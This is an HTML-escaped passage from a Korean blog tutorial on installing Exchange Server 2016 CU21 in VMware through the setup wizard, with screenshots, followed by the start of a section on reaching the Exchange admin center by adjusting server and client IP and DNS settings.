href=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=103242&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=103242&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Download Cumulative Update 21 for Exchange Server 2016 (KB5003611) from Official Microsoft Download Center&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Important! Selecting a language below will dynamically change the complete page content to that language. Chinese (Simplified)Chinese (Traditional)EnglishFrenchGermanItalianJapaneseKoreanPortuguese (Brazil)RussianSpanish Download Cumulative Update 21 for E&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.microsoft.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot;&gt;&lt;b&gt;2. 설치&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다운 받은 ISO 파일을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마운트 시킵니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(* 저는 VMware에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진행 중 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;* 실제 서버인 경우,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;USB 등을 사용해야 합니다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;749&quot; data-origin-height=&quot;798&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;533&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wS587/btrdVOGwMjv/ybbUqYPADcbrCHR8zW2YM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wS587/btrdVOGwMjv/ybbUqYPADcbrCHR8zW2YM1/img.png&quot; data-alt=&quot;Exchange 2016 ISO 파일 마운트&amp;amp;amp;nbsp;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wS587/btrdVOGwMjv/ybbUqYPADcbrCHR8zW2YM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwS587%2FbtrdVOGwMjv%2FybbUqYPADcbrCHR8zW2YM1%2Fimg.png&quot; data-origin-width=&quot;749&quot; data-origin-height=&quot;798&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;533&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Exchange 2016 ISO 파일 마운트&amp;nbsp;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exchange 2016 설치를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진행합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;786&quot; data-origin-height=&quot;477&quot; data-filename=&quot;2.png&quot; width=&quot;500&quot; height=&quot;303&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Prkzl/btrdU6gj2Q6/LF5FFAuYIiOj3KtGADzJjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Prkzl/btrdU6gj2Q6/LF5FFAuYIiOj3KtGADzJjK/img.png&quot; data-alt=&quot;Exchange 2016 설치 프로그램 실행&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Prkzl/btrdU6gj2Q6/LF5FFAuYIiOj3KtGADzJjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPrkzl%2FbtrdU6gj2Q6%2FLF5FFAuYIiOj3KtGADzJjK%2Fimg.png&quot; data-origin-width=&quot;786&quot; data-origin-height=&quot;477&quot; data-filename=&quot;2.png&quot; width=&quot;500&quot; height=&quot;303&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Exchange 2016 설치 프로그램 실행&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Don't check for updates right now 를 선택합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;700&quot; width=&quot;500&quot; height=&quot;438&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bctb0p/btrdZWjVyPd/oSeFlKpMoRHUMhRfsQpB41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bctb0p/btrdZWjVyPd/oSeFlKpMoRHUMhRfsQpB41/img.png&quot; data-alt=&quot;Don&amp;amp;#39;t check for updates right now&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bctb0p/btrdZWjVyPd/oSeFlKpMoRHUMhRfsQpB41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbctb0p%2FbtrdZWjVyPd%2FoSeFlKpMoRHUMhRfsQpB41%2Fimg.png&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;700&quot; width=&quot;500&quot; height=&quot;438&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Don't check for updates right now&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Copying Files, Initializing Setup 화면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 설치 이후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exchange 2016 설정을 진행합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;801&quot; data-origin-height=&quot;699&quot; width=&quot;500&quot; height=&quot;436&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UiLQv/btrdT8MEUQX/S9F9JxMzmmqEwAM2LPQmX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UiLQv/btrdT8MEUQX/S9F9JxMzmmqEwAM2LPQmX1/img.png&quot; data-alt=&quot;Exchange 2016 설정 시작&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UiLQv/btrdT8MEUQX/S9F9JxMzmmqEwAM2LPQmX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUiLQv%2FbtrdT8MEUQX%2FS9F9JxMzmmqEwAM2LPQmX1%2Fimg.png&quot; data-origin-width=&quot;801&quot; data-origin-height=&quot;699&quot; width=&quot;500&quot; height=&quot;436&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Exchange 2016 설정 시작&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;License 동의 이후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;(I accept the terms in the license agreement)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정 선택 시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추천 설정 사용 안함을 선택합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;(Don't use recommended settings)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;699&quot; width=&quot;500&quot; height=&quot;437&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cb6Rnb/btrd0vTWWYp/4EfXiVRfklHNnDAJQCYYzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cb6Rnb/btrd0vTWWYp/4EfXiVRfklHNnDAJQCYYzk/img.png&quot; data-alt=&quot;Don&amp;amp;#39;t use recommended settings&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cb6Rnb/btrd0vTWWYp/4EfXiVRfklHNnDAJQCYYzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcb6Rnb%2Fbtrd0vTWWYp%2F4EfXiVRfklHNnDAJQCYYzk%2Fimg.png&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;699&quot; width=&quot;500&quot; height=&quot;437&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Don't use recommended settings&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mailbox role(사서함 역할) 선택 후 다음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;799&quot; data-origin-height=&quot;700&quot; width=&quot;500&quot; height=&quot;438&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dNUsyN/btrdXxSffhX/20AoWFVstZlbxXA80GvK0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dNUsyN/btrdXxSffhX/20AoWFVstZlbxXA80GvK0k/img.png&quot; data-alt=&quot;Mailbox role&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dNUsyN/btrdXxSffhX/20AoWFVstZlbxXA80GvK0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdNUsyN%2FbtrdXxSffhX%2F20AoWFVstZlbxXA80GvK0k%2Fimg.png&quot; data-origin-width=&quot;799&quot; data-origin-height=&quot;700&quot; width=&quot;500&quot; height=&quot;438&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Mailbox role&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;경로 확인/수정 후 다음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;700&quot; width=&quot;500&quot; height=&quot;438&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVmZiv/btrd04at08L/VMTdKK9UdxedzGaSL54VK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVmZiv/btrd04at08L/VMTdKK9UdxedzGaSL54VK1/img.png&quot; data-alt=&quot;경로 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVmZiv/btrd04at08L/VMTdKK9UdxedzGaSL54VK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVmZiv%2Fbtrd04at08L%2FVMTdKK9UdxedzGaSL54VK1%2Fimg.png&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;700&quot; width=&quot;500&quot; height=&quot;438&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;경로 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조직 이름 설정 후 다음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;799&quot; data-origin-height=&quot;700&quot; width=&quot;500&quot; height=&quot;438&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qvCOX/btrdVkskSJF/z9n7x74CYvdamCegmag8K0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qvCOX/btrdVkskSJF/z9n7x74CYvdamCegmag8K0/img.png&quot; data-alt=&quot;조직 이름 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qvCOX/btrdVkskSJF/z9n7x74CYvdamCegmag8K0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqvCOX%2FbtrdVkskSJF%2Fz9n7x74CYvdamCegmag8K0%2Fimg.png&quot; data-origin-width=&quot;799&quot; data-origin-height=&quot;700&quot; width=&quot;500&quot; height=&quot;438&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;조직 이름 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Malware 보호 설정은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;No로 설정 후 설치를 진행하면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;699&quot; width=&quot;500&quot; height=&quot;437&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KvU1m/btrd04hei48/goI1aMNuPEBjIOZI69lRak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KvU1m/btrd04hei48/goI1aMNuPEBjIOZI69lRak/img.png&quot; data-alt=&quot;Disable malware scanning: No&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KvU1m/btrd04hei48/goI1aMNuPEBjIOZI69lRak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKvU1m%2Fbtrd04hei48%2FgoI1aMNuPEBjIOZI69lRak%2Fimg.png&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;699&quot; width=&quot;500&quot; height=&quot;437&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Disable malware scanning: No&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;799&quot; data-origin-height=&quot;698&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;437&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VJJLE/btrd5D4M9I8/EVHp66xzo9PWgLuysceM2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VJJLE/btrd5D4M9I8/EVHp66xzo9PWgLuysceM2K/img.png&quot; data-alt=&quot;Install...오래걸리더라(40분?)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VJJLE/btrd5D4M9I8/EVHp66xzo9PWgLuysceM2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVJJLE%2Fbtrd5D4M9I8%2FEVHp66xzo9PWgLuysceM2K%2Fimg.png&quot; data-origin-width=&quot;799&quot; data-origin-height=&quot;698&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;437&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Install...오래걸리더라(40분?)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치가 끝났습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;재부팅하시면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;500&quot; height=&quot;438&quot; data-origin-width=&quot;799&quot; data-origin-height=&quot;700&quot; data-filename=&quot;2.png&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mOSpQ/btrd0wfsiPQ/KADEdcOSil9P5pJQnPGbUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mOSpQ/btrd0wfsiPQ/KADEdcOSil9P5pJQnPGbUK/img.png&quot; data-alt=&quot;Setup Completed - Reboot&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mOSpQ/btrd0wfsiPQ/KADEdcOSil9P5pJQnPGbUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmOSpQ%2Fbtrd0wfsiPQ%2FKADEdcOSil9P5pJQnPGbUK%2Fimg.png&quot; width=&quot;500&quot; height=&quot;438&quot; data-origin-width=&quot;799&quot; data-origin-height=&quot;700&quot; data-filename=&quot;2.png&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Setup Completed - Reboot&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Exchange 관리자 센터&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자 센터는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 방법들을 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;Exchange 관리자 센터 접속:&lt;br /&gt;&lt;b&gt;1. https://&lt;span style=&quot;background-color: #fcfcfc; color: #666666;&quot;&gt;[AD 도메인 / AD 서버 IP]&lt;/span&gt;/ecp&lt;/b&gt;&lt;br /&gt;&lt;b&gt;* 접속 PC와 AD 서버에서 네트워크 설정이 필요합니다.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. 서버의 시작 메뉴 &amp;gt; Exchange Administrative Center 실행&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1번 방법은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;AD 서버와 접속 PC가&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;같은 네트워크에 속해야하며,&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;접속 PC의 DNS를&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;AD 서버로 설정&lt;/b&gt;해야합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot;&gt;&lt;b&gt;1. 서버 IP 수정&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 서버가 연결된&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네트워크에 맞춰서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버의 IP를 수정합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;서버에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;Control Panel\Network and Internet\Network and Sharing Center&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;로 이동&lt;br /&gt;&lt;b&gt;&amp;gt; 네트워크 인터페이스 &amp;gt; Properties &amp;gt; Internet Protocol Version 4 (TCP/IP)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;gt; IP 수정&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;785&quot; data-origin-height=&quot;665&quot; data-filename=&quot;4.png&quot; width=&quot;500&quot; height=&quot;424&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QWYio/btrd9lQh9YU/VPA9kQAq4o4HuOhBeJCfD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QWYio/btrd9lQh9YU/VPA9kQAq4o4HuOhBeJCfD0/img.png&quot; data-alt=&quot;IP 수정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QWYio/btrd9lQh9YU/VPA9kQAq4o4HuOhBeJCfD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQWYio%2Fbtrd9lQh9YU%2FVPA9kQAq4o4HuOhBeJCfD0%2Fimg.png&quot; data-origin-width=&quot;785&quot; data-origin-height=&quot;665&quot; data-filename=&quot;4.png&quot; width=&quot;500&quot; height=&quot;424&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;IP 수정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot;&gt;&lt;b&gt;2. 접속 PC 수정&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속하는 PC의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IP와 DNS 또한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;맞춰줘야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
